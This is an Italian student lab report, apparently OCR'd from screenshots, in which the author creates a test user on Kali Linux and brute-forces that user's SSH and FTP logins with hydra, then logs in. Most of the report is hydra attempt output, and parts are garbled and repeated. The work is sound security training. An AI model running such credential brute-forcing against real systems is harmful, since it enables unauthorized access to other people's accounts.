S6/L4

Per questo esercizio pratico ho creato un nuovo user "test_user".

```
-(kali®kali)-[~]
 —$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
                                                                             슾
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

- Ho fatto partire il servizio ssh e per connetterlo alla nuova utenza effettuo attraverso il tool hydra un brute force per trovare la password e nome utente.
- Per il comando di hydra ho utilizzato due liste modificate per accelerare il processo: in verde troviamo l'accesso corretto.

```
- 88 of 110 [child 3] (0/0)
[22][ssh] host: 192.168.50.100
                                  login: test_user
                                                      password: testpa
SS
[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "1234
56" - 89 of 110 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "pass
word" - 90 of 110 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "1234
5678" - 91 of 110 [child 1] (0/0)
[ATTEMPT] target 192.168.50 100 - login "administrator" - pass "qwer ty" - 92 of 110 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "1234
56789" - 93 of 110 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "1234
5" - 94 of 110 [child 3] (0/0)
```

• Ecco la connessione a ssh:

```
(kali® kali)-[~]
$ ssh test_user@192.168.50.100
test_user@192.168.50.100's password:
Linux kali 6.8.11-arm64 #1 SMP Kali 6.8.11-1kali2 (2024-05-30) aarc
h64

The programs included with the Kali GNU/Linux system are free softw
are;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

```
F-
                          test_user@kali: ~
File Actions Edit View Help
 —(test_user®kali)-[~]
_$ service ssh status

    ssh.service - OpenBSD Secure Shell server

     Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled>
     Active: active (running) since Thu 2024-07-04 05:55:26 PDT; 1>
Invocation: 6d63bae33d6249dc9d7b3a14498a9e9f
       Docs: man:sshd(8)
             man:sshd_config(5)
    Process: 5207 ExecStartPre=/usr/sbin/sshd -t (code=exited, sta>
  Main PID: 5211 (sshd)
     Tasks: 1 (limit: 4541)
    Memory: 4.6M (peak: 28M)
        CPU: 2.041s
     CGroup: /system.slice/ssh.service
             └─5211 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-10>
Warning: some journal files were not opened due to insufficient pe>
lines 1-15/15 (END)
```

• Per finire ho eseguito le stesse operazioni per il servizio FTP:

---(kali@kali)-[~] --\$ service vsftpd start

```
File Actions Edit View Help

(kali@kali:-/Desktop)

$ hydra -L top-usernames-shortlist-mod.txt -P common-pass-mod 19 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do -binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024 [DATA] max 4 tasks per 1 server, overall 4 tasks, 110 login tries (IDATA] attacking ftp://192.168.50.100 - login "root" - pass "123456" - 1 [ATTEMPT] target 192.168.50.100 - login "root" - pass "password" - [ATTEMPT] target 192.168.50.100 - login "root" - pass "12345678" - [ATTEMPT] target 192.168.50.100 - login "root" - pass "12345678" - [ATTEMPT] target 192.168.50.100 - login "root" - pass "12345678" - [ATTEMPT] target 192.168.50.100 - login "root" - pass "12345678" - [ATTEMPT] target 192.168.50.100 - login "root" - pass "12345678" - [ATTEMPT] target 192.168.50.100 - login "root" - pass "12345678" - [ATTEMPT] target 192.168.50.100 - login "root" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "root" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "root" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "root" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "root" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 - [ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678 -
```

A destra vediamo che nella riga verde ci sono le credenziali correte.

```
File Actions Edit View Help

[ATTEMPT] target 192.168.50.100 - login "mysql" - pass "1234" - 73 of 110

[ATTEMPT] target 192.168.50.100 - login "mysql" - pass "123456" - 75 of 11

[ATTEMPT] target 192.168.50.100 - login "mysql" - pass "123456" - 75 of 11

[STATUS] 76.00 tries/min, 76 tries in 00:01h, 34 to do in 00:01h, 4 active at 11 arget 192.168.50.100 - login "mysql" - pass "123456" - 75 of 11

[STATUS] 76.00 tries/min, 76 tries in 00:01h, 34 to do in 00:01h, 4 active at 11 arget 192.168.50.100 - login "test_user" - pass "123456" - 78 of 14 arget 192.168.50.100 - login "test_user" - pass "password" - 79

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "morstyord" - 79

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "morstyord" - 79

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "morstyord" - 79

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "morstyord" - 79

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 80

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 80

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 80

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 80

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 80

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 80

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678"

[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "12345678"

[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "1234567" - 80

[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "1234567" - 80

[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "1234567" - 80

[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "1234567" - 80

[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "1234567" - 80

[ATTEMPT] target 192.168.50.100 - login "administrator" - pass "1234567" - 80

[ATTEMPT] target 192.168.50.100 - login "admin
```

S6/L4

```
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /home/test_user
ftp>
```